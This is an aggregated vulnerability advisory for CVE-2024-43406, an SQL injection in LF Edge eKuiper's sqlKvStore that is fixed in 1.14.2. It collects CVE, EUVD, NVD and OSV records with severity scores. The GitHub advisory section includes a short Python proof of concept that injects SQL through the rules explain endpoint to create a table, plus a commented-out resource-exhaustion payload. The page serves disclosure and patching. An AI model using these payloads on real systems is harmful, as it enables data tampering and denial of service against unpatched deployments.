GHSA-r5ph-4jxm-6j9pPublished

LF Edge eKuiper has a SQL Injection in sqlKvStore

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cve-program · CVE-2024-43406

Published

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

Source published: 20 Aug 2024 15:00:06 UTC
Source modified: 20 Aug 2024 17:42:14 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

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CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

euvd · EUVD-2024-0054

Published

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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Aug 20, 2024, 3:00:06 PM

dateUpdated: Aug 20, 2024, 5:42:14 PM

Source published: Aug 20, 2024, 3:00:06 PM (timezone not stated)
Source modified: Aug 20, 2024, 5:42:14 PM (timezone not stated)
Saved here: 15 Nov 2026 02:33:58 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd · CVE-2024-43406

Published

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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-89

Original publisher date fields

published: 2024-08-20T15:15:24.070

lastModified: 2026-06-17T07:50:59.123

1 source CPE criteria · context only

cpe:2.3:a:lfedge:ekuiper:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 20 Aug 2024 15:15:24 UTC
Source modified: 17 Jun 2026 07:50:59 UTC
Saved here: 25 Oct 2026 00:17:28 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · [email protected] · Primary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-r5ph-4jxm-6j9p

Published

### Summary A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. ### Details I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc. The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277 The rule id in the above code can be used to exploit SQL query. Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141 ### PoC ``` import requests from urllib.parse import quote # SELECT val FROM 'xxx' WHERE key='%s'; payload = f"""'; ATTACH DATABASE 'test93' AS test93; CREATE TABLE test93.pwn (dataz text); INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--""" #payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--" url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler res = requests.get(url) print(res.content) ``` The screenshot shows the malicious SQL query to insert a value: ![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb) The screenshot shows the breakpoint of executing the query: ![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f) ### Impact SQL Injection vulnerability The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Source published: 20 Aug 2024 20:04:31 UTC
Source modified: 10 Sep 2026 03:50:55 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH

osv · GO-2024-3078

Published

LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper

Source published: 22 Aug 2024 20:03:04 UTC
Source modified: 3 Mar 2026 04:55:43 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.